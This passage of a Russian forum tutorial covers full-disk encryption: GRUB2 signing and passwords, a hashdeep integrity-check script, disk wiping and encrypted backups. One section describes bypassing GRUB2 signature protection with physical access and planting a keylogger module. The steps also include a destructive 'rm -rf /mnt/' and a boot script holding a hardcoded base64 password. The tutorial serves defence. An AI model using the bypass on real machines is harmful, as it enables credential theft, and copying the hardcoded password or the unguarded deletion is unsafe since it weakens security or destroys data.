menu entries you want to add after this comment. Be careful not to change

the 'exec tail' line above.

END /etc/grub.d/40_custom

BEGIN /etc/grub.d/41_custom

if [ -f ${config_directory}/custom.cfg ]; then
source ${config_directory}/custom.cfg
elif [ -z "${config_directory}" -a -f $prefix/custom.cfg ]; then
source $prefix/custom.cfg;
fi
set superusers=«root»
password_pbkdf2 root grub.pbkdf2.sha512.10000.DE10E42B01BB6FEEE46250FC5F9C3756894A8476A7F7661A9FFE9D6CC4D0A168898B98C34EBA210F46FC10985CE28277D0563F74E108FCE3ACBD52B26F8BA04D.27625A4D30E4F1044962D3DD1C2E493EF511C01366909767C3AF9A005E81F4BFC33372B9C041BE9BA904D7C6BB141DE48722ED17D2DF9C560170821F033BCFD8

END /etc/grub.d/41_custom

Click to expand...

Если вы часто пользуетесь командой «grub-mkconfig -o /mnt/boot/grub/grub.cfg» и не хотите вносить каждый раз изменения в grub.cfg, занесите вышеописанные строки (логин/пароль) в пользовательский скрипт GRUB-а в самый низ

Code:Copy to clipboard

nano /etc/grub.d/41_custom

cat << EOF
set superusers=«root»
password_pbkdf2 root grub.pbkdf2.sha512.10000.DE10E42B01BB6FEEE46250FC5F9C3756894A8476A7F7661A9FFE9D6CC4D0A168898B98C34EBA210F46FC10985CE28277D0563F74E108FCE3ACBD52B26F8BA04D.27625A4D30E4F1044962D3DD1C2E493EF511C01366909767C3AF9A005E81F4BFC33372B9C041BE9BA904D7C6BB141DE48722ED17D2DF9C560170821F033BCFD8
EOF

Click to expand...

При генерации конфига «grub-mkconfig -o /mnt/boot/grub/grub.cfg», строки, отвечающие за аутентификацию, будут добавляться автоматически в grub.cfg.
**На этом шаге настройка аутентификации GRUB2 завершена.

С6.2. Защита загрузчика цифровой подписью**
Предполагается, что у вас уже есть ваш персональный pgp-ключ шифрования (либо создайте такой ключ). В системе должно быть установлено криптографическое ПО: gnuPG; kleopatra/GPA; Seahorse. Крипто-ПО существенно облегчит вам жизнь во всех подобных делах. Seahorse — стабильная версия пакета 3.14.0 (версии выше, например, V3.20 – неполноценная и имеет существенные баги).

PGP-ключ нужно генерировать/запускать/добавлять только в среде su!

Сгенерировать персональный шифровальный ключ

Code:Copy to clipboard

gpg - -gen-key

Экспортировать свой ключ

Code:Copy to clipboard

gpg --export -o ~/perskey

Смонтируйте логический диск в ОС если он еще не смонтирован

Code:Copy to clipboard

mount /dev/sda6 /mnt #sda6 – раздел GRUB2

очистите раздел GRUB2

Code:Copy to clipboard

rm -rf /mnt/

Инсталлируйте GRUB2 в sda6, положив ваш персональный ключ в основной образ GRUB «core.img»

Code:Copy to clipboard

grub-install --force --modules="gcry_sha256 gcry_sha512 signature_test gcry_dsa gcry_rsa" -k ~/perskey --root-directory=/mnt /dev/sda6

опции

  • --force -установка загрузчика, минуя все предупреждения, которые всегда существуют (обязательный флаг).
  • --modules=«gcry_sha256 gcry_sha512 signature_test gcry_dsa gcry_rsa» -инструктирует GRUB2 на предварительную загрузку необходимых модулей при запуске ПК.
  • -k ~/perskey -путь до «PGP-ключа» (после упаковывания ключа в образ, его можно удалить).
  • --root-directory -установка каталога boot в корень sda6
    /dev/sda6 -ваш sdaХ раздел.

Генерируем/обновляем grub.cfg

Code:Copy to clipboard

grub-mkconfig  -o /mnt/boot/grub/grub.cfg

Добавляем в конец файла «grub.cfg» строку «trust /boot/grub/perskey» (принудительно использовать pgp-ключ.) Так как мы инсталлировали GRUB2 с набором модулей, в том числе и модулем подписи «signature_test.mod», то это избавляет от добавления в конфиг команд типо «set check_signatures=enforce».

Выглядеть должно примерно так (концевые строки в файле grub.cfg)

BEGIN /etc/grub.d/41_custom

if [ -f ${config_directory}/custom.cfg ]; then
source ${config_directory}/custom.cfg
elif [ -z "${config_directory}" -a -f $prefix/custom.cfg ]; then
source $prefix/custom.cfg;
fi
trust /boot/grub/perskey
set superusers=«root»
password_pbkdf2 root grub.pbkdf2.sha512.10000.DE10E42B01BB6FEEE46250FC5F9C3756894A8476A7F7661A9FFE9D6CC4D0A168898B98C34EBA210F46FC10985CE28277D0563F74E108FCE3ACBD52B26F8BA04D.27625A4D30E4F1044962D3DD1C2E493EF511C01366909767C3AF9A005E81F4BFC33372B9C041BE9BA904D7C6BB141DE48722ED17D2DF9C560170821F033BCFD8

END /etc/grub.d/41_custom

Click to expand...

Путь к "/boot/grub/perskey" не нужно указывать на конкретный раздел диска, например hd0,6, для себя загрузчика «корень» является дефолтным путем раздела, на который установлен GRUB2 (см. set rot=..).

Подписываем GRUB2 (все файлы во всех директориях /GRUB) своим ключом «perskey».
Простое решение, как подписать (для проводника nautilus/caja): устанавливаем из репозитория расширение «seahorse» для проводника. Ключ у вас должен быть добавлен в среду su.
Открываете проводник от sudo "/mnt/boot" – ПКМ – подписать. На скрине это выглядит это так

Сам ключ "/mnt/boot/grub/perskey" (скопировать в каталог grub) тоже должен быть подписан своей же подписью. Проверьте, что в каталоге/подкаталогах появились подписи файлов [*.sig].
Вышеописанным способом подписываем "/boot" (наши kernel, initrd). Если ваше время чего-то стоит, то такой метод избавляет писать bash-скрипт для подписи «множества файлов».

Чтобы удалить все подписи загрузчика (если что-то пошло не так)

Code:Copy to clipboard

rm -f $(find /mnt/boot/grub -type f -name '*.sig')

Что бы не подписывать загрузчик после обновления системы, замораживаем все пакеты обновления, имеющие отношение к GRUB2.

Code:Copy to clipboard

apt-mark hold grub-common grub-pc grub-pc-bin grub2 grub2-common

**На этом шаге <защита загрузчика цифровой подписью> расширенная настройка GRUB2 завершена.

C6.3. Proof-test загрузчика GRUB2, защищенного цифровой подписью и аутентификацией**
GRUB2. При выборе какого-либо дистрибутива GNU/Linux или вход в CLI (командную строку) потребуется авторизация суперпользователя. После ввода верного логина/пароля потребуется пароль от initrd

![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fwu%2Fip%2Fnt%2Fwuipntxpfzxczd8sz- _nihhtkrc.jpeg&hash=efc78bdb0d4b8489d70983d34e43e7a4)
Скрин, успешная аутентификация GRUB2-суперпользователя.

Если подделать какой-либо из файлов GRUB2/внести изменения в grub.cfg, или удалить файл/подпись, подгрузить вредоносный модуль.mod, то появится соответствующее предупреждение. Загрузка GRUB2 приостановится.


Скрин, попытка вмешаться в GRUB2 «из вне».

При «нормальной» загрузке «без вторжения», системный статус кода выхода «0». Поэтому неизвестно работает ли защита или нет (то есть «с защитой загрузчика подписью или без неё» при нормальной загрузке статус один и тот же «0» — это плохо).

Как проверить защиту цифровой подписью?

Неудобный способ проверки: подделать/удалить используемый GRUB2 модуль, например, удалить подпись luks.mod.sig и получить ошибку.

Правильный способ: зайти в CLI загрузчика и набрать команду

Code:Copy to clipboard

trust_list

В ответ должны получить отпечаток «perskey», если статус «0», значит защита подписью не работает, перепроверяйте п.C6.2.
**На этом шаге расширенная настройка «Защита GRUB2 цифровой подписью и аутентификацией» окончена.

С7 Альтернативный метод защиты загрузчика GRUB2 с помощью хэширования**
Описанный выше способ «Защита загрузчика ЦП/Аутентификацией» — это классика. Из-за несовершенства GRUB2, в параноидальных условиях тот подвержен реальной атаке, которую я приведу ниже в п.[F]. Кроме того, после обновления ОС/ядра необходимо переподписывать загрузчик.

**Защита загрузчика GRUB2 с помощью хэширования

Преимущества перед классикой:**

  • Более высокий уровень надежности/оповещения (хэширование/проверка проходит только с зашифрованного локального ресурса. Контролируется весь выделенный раздел под GRUB2 на любые изменения, а все остальное зашифровано, в классической же схеме с защитой загрузчика ЦП/Аутентификацией контролируются лишь файлы, но не свободное пространство, в которое «что-то зловещее» можно дописать).
  • Зашифрованное логирование (в схему добавляется удобочитаемый персональный шифрованный лог).
  • Скорость (защита/проверка целого раздела выделенного под GRUB2 происходит практически мгновенно).
  • Автоматизация всех криптографических процессов.

Недостатки перед классикой.

  • Подделка подписи (теоретически, возможно нахождение заданной коллизии хэш функции).
  • The Worst Evil Script (вектор атаки/условие: подмена загрузчика и загрузка не с GRUB контролируемого раздела, а с usb-брелка/другой микросхемы, система/хозяин не будут оповещены о вторжении в цитадель, а вредоносный модуль передаст перехваченные pass/заголовок_LUKS по сети недоброжелателю).
  • Повышенный уровень сложности (по сравнению с классикой требуется чуть больше навыков владения в ОС GNU/Linux).

И общая проблема — аппаратные кейлоггеры, которые открыто продаются не только с Поднебесной.

Как работает идея с хэшированием GRUB2/раздела

«Подписывается» раздел GRUB2, при загрузке ОС происходит проверка неизменности раздела загрузчика с последующим логированием в безопасной среде (зашифрованной). В случае компрометации загрузчика, либо его раздела во время работы ОС, в дополнение к логу вторжения запускается такая

Штука.

Те же действия вторжения, но во время загрузки ОС с раздела GRUB, save log, ПК выключается и не даёт зловреду передать перехваченный pas/заголовок_LUKS по сети.
В случае атаки The Worst Evil Script хозяин обязан формотнуть ~~раздел~~ винт с обязательной перезаписью данных в один проход, простое уничтожение заголовка LUKS не поможет.
Четыре раза в день происходит проверка хэширования раздела GRUB, которая не нагружает ресурсы системы.
С помощью команды "-$ проверка_GRUB" происходит мгновенная проверка в любой момент времени без логирования, но с выводом информации в CLI.
С помощью команды "-$ sudo подпись_GRUB" происходит мгновенное переподписание загрузчика GRUB2/раздела и его обновленное логирование (необходимо после обновления ОС/boot), и жизнь продолжается дальше.

**Реализация метода хэширования загрузчика и его раздела

0)** Подпишем загрузчик/раздел GRUB, предварительно смонтировав его в /media/username

Code:Copy to clipboard

-$ hashdeep -c md5 -r /media/username/GRUB > /podpis.txt

1) Создаем скрипт без расширения в корне зашифрованной ОС ~/podpis, применяем к нему нужные права 744 секьюрити и защита от «дурака».

Наполняем его содержимое

Bash:Copy to clipboard

#!/bin/bash

#Проверка всего раздела выделенного под загрузчик GRUB2 на неизменность.
#Ведется лог "о вторжении/успешной проверке каталога", короче говоря ведется полный лог с тройной вербализацией. Внимание! обратить взор на пути: хранить ЦП GRUB2 только на зашифрованном разделе OS GNU/Linux.
echo -e "******************************************************************\n" >> '/var/log/podpis.txt' && date >> '/var/log/podpis.txt' && hashdeep -vvv -a -k '/podpis.txt' -r '/media/username/GRUB' >> '/var/log/podpis.txt'

a=`tail '/var/log/podpis.txt' | grep failed` #не использовать "cat"!!
b="hashdeep: Audit failed"

#Условие: в случае любых каких-либо изменений в разделе выделенном под GRUB2 к полному логу пишется второй отдельный краткий лог "только о вторжении" и выводится на монитор мигание gif-ки "warning".
if [[ "$a" = "$b" ]]
then
echo -e "****\n" >> '/var/log/vtorjenie.txt' && echo "vtorjenie" >> '/var/log/vtorjenie.txt' && date >> '/var/log/vtorjenie.txt' & sudo -u username DISPLAY=:0 eom '/warning.gif'
fi

Запускаем скрипт от su , произойдет проверка хэширования раздела GRUB и его загрузчика, save лог.

Создадим или скопируем, например, «вредоносный файл» [virus.mod] в раздел GRUB2 и запустим временную проверку/тестирования:

Code:Copy to clipboard

-$ hashdeep -vvv -a -k '/podpis.txt' -r '/media/username/GRUB

В CLI должны увидеть вторжение в нашу -цитадель-
#Урезанный лог в CLI

Code:Copy to clipboard

Ср янв  2 11::41 MSK 2020
/media/username/GRUB/boot/grub/virus.mod: Moved from /media/username/GRUB/1nononoshifr
/media/username/GRUB/boot/grub/i386-pc/mda_text.mod: Ok
/media/username/GRUB/boot/grub/grub.cfg: Ok
hashdeep: Audit failed
   Input files examined: 0
  Known files expecting: 0
          Files matched: 325
Files partially matched: 0
            Files moved: 1
        New files found: 0
  Known files not found: 0

#как видим появилось «Files moved: 1 и Audit failed» означает, что проверка не прошла.
Из-за особенностей тестируемого раздела вместо «New files found» > «Files moved»

2) Кладём гифку сюда > ~/warning.gif, задаем права 744.

3) Настраиваем fstab на автомонтирование раздела GRUB при загрузке

Code:Copy to clipboard

-$ sudo nano /etc/fstab

LABEL=GRUB /media/username/GRUB ext4 defaults 0 0

Click to expand...

4) Проводим ротацию лога

Code:Copy to clipboard

-$ sudo nano /etc/logrotate.d/podpis

Code:Copy to clipboard

/var/log/podpis.txt {
daily
rotate 50
size 5M
dateext
compress
delaycompress
olddir /var/log/old
}

/var/log/vtorjenie.txt {
monthly
rotate 5
size 5M
dateext
olddir /var/log/old
}

5) Добавляем задание в cron

Code:Copy to clipboard

-$ sudo crontab -e

Code:Copy to clipboard

@reboot '/podpis' #проверка подписи при загрузке ОС
0 */6 * * * '/podpis #проверка подписи в 0-00ч; 6ч; 12ч; 18ч.

6) Создаем постоянные алиасы

Code:Copy to clipboard

-$ sudo su
-$ echo "alias подпись_GRUB='hashdeep -c md5 -r /media/username/GRUB > /podpis.txt'" >> /root/.bashrc && bash
-$ echo "alias проверка_GRUB='hashdeep -vvv -a -k '/podpis.txt' -r /media/username/GRUB'" >> .bashrc && bash

После обновления ОС -$ apt-get upgrade переподписываем наш раздел GRUB
-$ подпись_GRUB
На этом шаге защита хэшированием раздела GRUB завершена.

[D] Зачистка — уничтожение нешифрованных данных

Удалите свои личные файлы так полностью, что «даже Бог не может их прочитать», по словам представителя Южной Каролины Трей Гауди.

Click to expand...

Как обычно существуют разные «мифы и легенды», о восстановлении данных после их удаления с жесткого диска. Если вы верите в киберколдоство, или являетесь прихожанином Dr web сообщества и никогда не пробовали восстановление данных после их удаления/перезаписи (например, восстановление с помощью R-studio) , тогда предложенный способ вряд ли вам подойдет, пользуйтесь тем, чем вам ближе.

После успешного переноса GNU/Linux на зашифрованный раздел, старую копию необходимо удалить без возможности восстановления данных. Универсальный способ очистки: софт для Windows/Linux свободное GUI ПО BleachBit.
Быстро форматируем раздел , данные на котором нужно уничтожить (с помощью Gparted), запускаем BleachBit, выбираем «Очистка свободного пространства» – выбираем раздел (ваш sdaX с прошлой копией GNU/Linux) , запустится процесс зачистки. BleachBit — протирает диск в один проход — это то, что «нам нужно», Но! так работает только в теории, если вы форматировали диск и чистили в ПО BB v2.0.

Внимание! BB протирает диск, оставляя метаданные, имена файлов при ликвидации данных сохраняются (Ccleaner — не оставляет метаданных).

И миф о возможности восстановления данных является не совсем мифом.
Bleachbit V2.0-2 бывший пакет unstable OS Debian (и любой другой подобный софт: sfill; wipe-Nautilus -тоже были замечены в этом грязном деле ) на самом деле имел критическую ошибку: функция «свободная очистка пространства» работает некорректно на HDD/Флэшках (ntfs/ext4). ПО подобного рода при очистке свободного места перезаписывают не весь диск, как многие пользователи думают. И некоторые (много) удаленные данные ОС/ПО считают эти данные неудаленными/пользовательскими и при очистке «ОСП» пропускают эти файлы. Проблема в том, что после такой, долгой по времени, очистки диска «удаленные файлы» можно восстановить даже через 3+ прохода протирания диска.
На GNU/Linux в Bleachbit 2.0-2 надежно работают функции безвозвратного удаления файлов и каталогов, но не очистка свободного пространства. Для сравнения: на Windows в ПО CCleaner функция «ОСП для ntfs» работает исправно, и Бог действительно не сможет прочитать удаленные данные.

И так, чтобы основательно удалить «компрометирующие» старые нешифрованные данные, необходим прямой доступ Bleachbit к этим данным , далее, воспользоваться функцией «удаление файлов/каталогов безвозвратно».
Для удаления «удаленных файлов штатными средствами ОС» в Windows используйте CCleaner/BB с функцией «ОСП». В GNU/Linux над этой проблемой (удаление удаленных файлов) вам необходимо получить практику самостоятельно (удаление данных+самостоятельная попытка их восстановления и не стоит полагаться на версию ПО (если не закладка, то баг)) , только в таком случае вы сможете понять механизм этой проблемы и избавиться от удаленных данных окончательно.

Bleachbit v3.0 не проверял, возможно, проблему уже поправили.
Bleachbit v2.0 работает честно и для GNU/Linux и для Windows7.

На этом шаге «зачистка диска» завершена.

[E] Универсальное резервное копирование зашифрованных ОС

У каждого пользователя свой метод резервного копирования данных, но зашифрованные данные «Системных ОС» требуют чуть иной подход к задаче. Унифицированное ПО, как например «Clonezilla» и подобный софт не могут работать напрямую с зашифрованными данными.

Постановка задачи резервного копирования зашифрованных блочных устройств:

  1. универсальность — одинаковый алгоритм/ПО резервного копирования для Windows/Linux;
  2. возможность работать в консоли с любой live usb GNU/Linux без необходимости дополнительного скачивания ПО (но все же рекомендую GUI) ;
  3. безопасность резервных копий — хранимые «образы» должны быть зашифрованы/запаролены;
  4. размер зашифрованных данных должен соответствовать размеру реальных копируемых данных;
  5. удобное извлечение нужных файлов из резервной копии (отсутствие требования расшифровать сперва весь раздел).

Например, резервная копия/восстановление через утилиту «dd»

Code:Copy to clipboard

dd if=/dev/sda7 of=/путь/sda7.img bs=7M conv=sync,noerror
dd if=/путь/sda7.img of=/dev/sda7 bs=7M conv=sync,noerror

Соответствует почти всем пунктам поставленной задачи, но по п.4 не выдерживает критики, так как копирует весь раздел диска целиком, в том числе и свободное пространство — не интересно.

Например, резервная копия GNU/Linux через архиватор [tar | gpg] удобно, но для бэкапа Windows нужно искать другое решение — не интересно.

E1. Универсальное резервное копирование Windows/Linux. Связка rsync (Grsync)+VeraCrypt том
Алгоритм создания резервной копии:

  1. создание зашифрованного контейнера (том/файл) VeraCrypt для ОС;
  2. перенос/синхронизация ОС с помощью ПО Rsync в криптоконтейнер VeraCrypt;
  3. при необходимости загрузка тома VeraCrypt в www.

Создание зашифрованного контейнера VeraCrypt имеет свои особенности:
создание динамического тома (доступно создание ДТ только в Windows, использовать можно и в GNU/Linux) ;
создание обычного тома, но присутствует требование «параноидального характера» (со слов разработчика) – форматирование контейнера.

Динамический том создается практически мгновенно в ОС Windows, но при копировании данных из ОС GNU/Linux > VeraCrypt ДТ, в целом производительность операции резервного копирования снижается существенно.

Обычный том Twofish в 70 Гб создается (скажем так, на средней мощности ПК) на HDD ~ за полчаса (перезапись бывших данных контейнера в один проход, обусловлено требованием безопасности). Из VeraCrypt Windows/Linux убрали функцию быстрого форматирования тома при его создании, поэтому создание контейнера возможно только через «перезапись в один проход», либо создание слабопроизводительного динамического тома.

Создаём обычный том VeraCrypt (не динамический/ntfs) , никаких проблем возникнуть не должно.

Настраиваем/создаем/открываем контейнер в VeraCrypt GUI> GNU/Linux live usb (том будет автомонтирован в /media/veracrypt2, том ОС Windows монтирован в /media/veracrypt1). Создаем зашифрованную резервную копию ОС Windows с помощью GUI rsync (grsync) , расставив галочки.

![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fpy%2F0v%2Fhw%2Fpy0vhwm- rlgyctkndhzgcyrzpu8.jpeg&hash=b3a338fb7a5d0ece780016baa78fbbac)

Дождаться окончания процесса. По завершению резервного копирования, у нас будет один зашифрованный файл.

Аналогично создать резервную копию ОС GNU/Linux, скинув галочку в GUI rsync «совместимость с Windows».

Внимание! контейнер Veracrypt для «бэкапа GNU/Linux» создавать в файловой системе ext4. Если сделаете бэкап в контейнер ntfs, то при восстановлении такой копии потеряете все права/группы на все ваши данные.

Провести все операции можно и в терминале. Основные опции для rsync:

  • -g -сохранить группы;
  • -P --progress — статус времени работы над файлом;
  • -H -копировать хардлинки, как есть;
  • -а -режим архива (несколько флагов rlptgoD) ;
  • -v -вербализация.

Если хочется монтировать «том Windows VeraCrypt» через консоль в ПО cryptsetup, можно создать alias (su)

Code:Copy to clipboard

echo "alias veramount='cryptsetup open --veracrypt --tcrypt-system --type tcrypt /dev/sdaX Windows_crypt && mount /dev/mapper/ Windows_crypt /media/veracrypt1'" >> .bashrc && bash

Теперь по команде «veramount ~~pictures~~ » появится запрос на ввод парольной фразы, и в ОС-у подмонтируется, зашифрованный системный том Windows.

Сопоставить/смонтировать системный том VeraCrypt в cryptsetup команда

Code:Copy to clipboard

cryptsetup open --veracrypt --tcrypt-system --type tcrypt /dev/sdaX Windows_crypt
mount /dev/mapper/Windows_crypt /mnt

Сопоставить/смонтировать раздел/контейнер VeraCrypt в cryptsetup команда

Code:Copy to clipboard

cryptsetup open --veracrypt --type tcrypt /dev/sdaY test_crypt
mount /dev/mapper/test_crypt /mnt

Вместо alias-а добавим (скрипт в автозагрузку) системный том с ОС Windows и логический криптованный диск ntfs в автозагрузку GNU/Linux

Создаём скрипт и сохраняем его в ~/VeraOpen.sh

Code:Copy to clipboard

printf 'Ym9i' | base64 -d | cryptsetup open --veracrypt --tcrypt-system --type tcrypt /dev/sda3 Windows_crypt && mount /dev/mapper/Windows_crypt /media/Winda7 #декодируем пароль из base64 (bob) и отправляем его на запрос ввода пароля при монтировании системного диска ОС Windows.
printf 'Ym9i' | base64 -d | cryptsetup open --veracrypt --type tcrypt /dev/sda1 ntfscrypt && mount /dev/mapper/ntfscrypt /media/КонтейнерНтфс #аналогично, но монтируем логический диск ntfs.

Раздаем «верные» права:

Code:Copy to clipboard

sudo chmod 100 /VeraOpen.sh

Создаем два одинаковых файла (одинаковое имя!) в /etc/rc.local и ~/etc/init.d/rc.local
Наполняем файлы

Code:Copy to clipboard

#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will «exit 0» on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.

sh -c "sleep 1 && '/VeraOpen.sh'" #после загрузки ОС, ждём ~ 1с и только потом монтируем диски.
exit 0

Раздаем «верные» права:

Code:Copy to clipboard

sudo chmod 100 /etc/rc.local && sudo chmod 100 /etc/init.d/rc.local

Всё, теперь при загрузке GNU/Linux нам ненадо вводить пароли на монтирование зашифрованных дисков ntfs, диски монтируются автоматом.

Заметка кратко о том, что описано выше в п.E1 по шагам (но теперь для OS GNU/Linux)

  1. Создать том в фс ext4 > 4gb (для файла) Linux в Veracrypt [Криптоящик].
  2. Reboot в live usb.
  3. ~$ cryptsetup open /dev/sda7 Lunux #сопоставление шифрованного раздела.
  4. ~$ mount /dev/mapper/Linux /mnt #монтирование шифрованного раздела в /mnt.
  5. ~$ mkdir mnt2 #создание каталога для будущего бэкапа.
  6. ~$ cryptsetup open --veracrypt --type tcrypt ~/Криптоящик Криптоящик && mount /dev/mapper/Криптоящик /mnt2 #Сопоставление тома Veracrypt с именем «Криптоящик» и монтирование Криптоящика в /mnt2.
  7. ~$ rsync -avlxhHX --progress /mnt /mnt2/ #операция резервного копирования шифрованного раздела в шифрованный том Veracrypt.

(p/s/ Внимание! Если вы переносите шифрованную GNU/Linux с одной архитектуры/машины на другую, например, Intel > AMD (то есть разворачиваете бэкап с одного шифрованного раздела на другой шифрованный раздел Intel > AMD), не забывайте после переноса шифрованной ОС править секретный подставляемый ключ вместо пароля, тк. предыдущий ключ ~/etc/skey — уже не подойдет к другому зашифрованному разделу, а новый ключ «cryptsetup luksAddKey» нежелательно создавать из под chroot — возможен глюк, просто в ~/etc/crypttab укажите вместо "/etc/skey" временно «none», после rebot-а и входа в ОС пересоздайте свой секретный подставляемый ключ заново).

Как ветераны IT незабываем отдельно делать бэкапы заголовков зашифрованных разделов ОС Windows/Linux, или шифрование обернется против Вас самих.
На данном шаге резервное копирование зашифрованных ОС закончено.

[F] Атака на загрузчик GRUB2

Подробности
Если вы защитили свой загрузчик цифровой подписью и/или аутентификацией (см п.C6.) , то от физического доступа это никак не защитит. Зашифрованные данные будут по-прежнему недоступны, но обход защиты (сброс защиты цифровой подписи) GRUB2 позволяет киберзлодею внедрить свой код в загрузчик, не вызывая подозрений (если только пользователь вручную не отслеживает состояние загрузчика, или не придумает свой прочный произвольный-скрипт-код для grub.cfg).

Алгоритм атаки. Злоумышленник

  • Загружает ПК с live usb. Любое изменение (нарушителем) файлов приведет к оповещению реального хозяина ПК о вторжении в загрузчик. Но простая переустановка GRUB2 с сохранением grub.cfg (и последующей возможностью его редактирования) позволит злоумышленнику редактировать любые файлы (при таком раскладе, при загрузке GRUB2, оповещение реальному пользователю не последует. Статус тот же <0>)
  • Монтирует незашифрованный раздел, сохраняет у себя "/mnt/boot/grub/grub.cfg".
  • Переустанавливает загрузчик (выбрасывая «perskey» из образа core.img)

Code:Copy to clipboard

grub-install --force --root-directory=/mnt /dev/sda6
  • Возвращает «grub.cfg» > "/mnt/boot/grub/grub.cfg", при необходимости его редактирует, например, добавляя свой модуль «keylogger.mod» в папку с модулями загрузчика, в «grub.cfg» > строчку «insmod keylogger». Или, например, если враг коварен, то после переустановки GRUB2 (все подписи остаются на месте) он собирает основной образ GRUB2, используя «grub-mkimage с опцией (-с).» Опция «-с» позволит загружать свой конфиг до загрузки основного «grub.cfg». Конфиг может состоять всего лишь из одной строчки: перенаправление на любой «modern.cfg», смешанный, например, с ~400 файлами (модули+подписи) в папке "/boot/grub/i386-pc". При этом нарушитель может вносить произвольный код и подгружать модули, не затрагивая "/boot/grub/grub.cfg", даже если пользователь применил «hashsum» к файлу и временно выводил его на экран.
    Взламывать логин/пароль суперпользователя GRUB2 атакующему не потребуется, нужно будет просто скопировать строки (отвечающие за аутентификацию) "/boot/grub/grub.cfg" в свой «modern.cfg»

Code:Copy to clipboard

set superusers=«root»
password_pbkdf2 root grub.pbkdf2.sha512.10000.DE10E42B01BB6FEEE46250FC5F9C3756894A8476A7F7661A9FFE9D6CC4

И для хозяина ПК по-прежнему будет действовать проверка подлинности суперпользователя GRUB2.

Цепочная загрузка (загрузчик загружает другой загрузчик) , как писал выше, не имеет смысла (она предназначена для другой цели). Из-за BIOS нельзя загружать зашифрованный загрузчик (при цепной загрузке происходит перезапуск GRUB2 > зашифрованный GRUB2, ошибка!). Однако если все-таки воспользоваться идеей от цепочной загрузки, то можно быть уверенным, что загружается именно зашифрованный (не модернизированный) «grub.cfg» с зашифрованного раздела. И это тоже ложное чувство безопасности, потому что, всё, что указано в зашифрованном «grub.cfg» (подгрузка модулей ) складывается с модулями, которые подгружаются из незашифрованного GRUB2.

Если вы хотите это проверить, то выделите/зашифруйте еще один раздел sdaY, скопируйте на него GRUB2 (операция grub-install на зашифрованный раздел невозможна) и в «grub.cfg» (незашифрованного конфига) измените строки подобные этим

Code:Copy to clipboard

menuentry 'GRUBx2' --class parrot --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-382111a2-f993-403c-aa2e-292b5eac4780' {
load_video
insmod gzio
if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
insmod part_msdos
insmod cryptodisk
insmod luks
insmod gcry_twofish
insmod gcry_twofish
insmod gcry_sha512
insmod ext2
cryptomount -u 15c47d1c4bd34e5289df77bcf60ee838
set root='cryptouuid/15c47d1c4bd34e5289df77bcf60ee838'
normal /boot/grub/grub.cfg
}

строки

  • insmod -загрузка необходимых модулей для работы с зашифрованным диском;
  • GRUBx2 -название выводимой строки в меню загрузки GRUB2;
  • cryptomount -u 15c47d1c4bd34e5289df77bcf60ee838 -см. fdisk -l (sda9);
  • set root -установка корня;
  • normal /boot/grub/grub.cfg -исполняемый файл конфигурации на зашифрованном разделе.

Уверенность в том, что загружается именно зашифрованный «grub.cfg» — это положительный отклик на ввод пароля/разблокировка «sdaY» при выборе строчки «GRUBx2» в меню GRUB.

При работе в CLI, чтобы не запутаться (и проверить сработало ли переменное окружение «set root»), создайте пустые файлы маркеры, например, в зашифрованном разделе "/shifr_grub", в незашифрованном разделе "/noshifr_grub". Проверка в CLI

Code:Copy to clipboard

cat /Tab-Tab

Как было отмечено выше, это не поможет от загрузки вредоносных модулей, если такие модули окажутся на вашем ПК. Например, кейлоггер, который сможет сохранять нажатия клавиш в файл и смешиваться с другими файлами в "~/i386", пока его не скачает атакующий с физическим доступом к ПК.

Самый простой способ проверить, что защита цифровой подписи активно работает (не сброшена) , и никто не вторгся в загрузчик, в CLI набираем команду

Code:Copy to clipboard

list_trusted

в ответ получаем слепок нашего «perskey», или ничего не получаем, если нас атаковали (также необходимо проверить «set check_signatures=enforce»).
Существенный минус такого шага, набивать команды вручную. Если добавить эту команду в «grub.cfg» и защитить цифровой подписью конфиг, то предварительный вывод слепка ключа на экран слишком короткий по таймингу, и можно не успеть разглядеть вывод, получив загрузку GRUB2.
Предъявлять претензии особо не к кому: разработчик в своей [документации](https://www.gnu.org/software/grub/manual/grub/grub.html#Using- digital-signatures) п.18.2 официально заявляет

«Note that even with GRUB password protection, GRUB itself cannot prevent someone with physical access to the machine from altering that machine’s firmware (e.g., Coreboot or BIOS) configuration to cause the machine to boot from a different (attacker-controlled) device. GRUB is at best only one link in a secure boot chain».

Click to expand...

GRUB2 — слишком перегружен функциями, которые могут дать чувство ложной безопасности, а его развитие уже опередило по функциональности ОС MS-DOS, а ведь это всего лишь загрузчик. Забавно, что GRUB2 — «завтра» может стать ОС, а загружаемые GNU/Linux виртуальными машинами для него.

Небольшой ролик, о том, как я сбросил защиту цифровой подписью GRUB2, и заявил о своем вторжении реальному пользователю (напугал, а вместо того, что показано на ролике – можно написать не безобидный произвольный код/.mod).

Выводы:

  1. Блочное системное шифрование для Windows — реализовать проще, а защита одним паролем удобнее, чем защита несколькими паролями при блочном системном шифровании GNU/Linux, справедливости ради: последнее автоматизировано.

  2. Статью написал, как релевантное, подробное простое руководство к полнодисковому шифрованию VeraCrypt/LUKS on one home the machine, которое, на сегодняшний день лучшее в рунете (IMHO). В руководстве > 60k знаков поэтому в нём не рассматривались некоторые интересные главы: о криптографах, которые исчезают/держатся в тени; о том, что в разных книжках GNU/Linux мало/не пишут о криптографии; о ст.51 конституции РФ; о лицензировании/запрете шифрования в РФ, о том для чего нужно шифровать «корень/boot». Руководство получилось и без того немалое, но подробное (описывающая даже простые шаги) , в свою очередь, это сэкономит вам кучу времени, когда вы займетесь «настоящим шифрованием».

  3. Полнодисковое шифрование проводил на Windows 7 64; GNU/Linux Parrot 4x; GNU/Debian 9.0/9.5.

  4. Реализовал успешную атаку на свой загрузчик GRUB2.

  5. Tutorial создан, чтобы помочь всем ~~параноикам СНГ~~ , где работа с шифрованием разрешена на законодательном уровне. И в первую очередь для тех, кто желает накатить полнодисковое шифрование не снося свои настроенные системы.

  6. Переработал и обновил своё руководство, которое актуально в 2020 году.

[G] Полезная документация
Руководство пользователя TrueCrypt (февраль 2012 RU)

  1. Документация VeraCrypt
  2. /usr/share/doc/cryptsetup(-run) [локальный ресурс] (официальная подробная документация по настройке шифрования GNU/Linux с помощью cryptsetup)
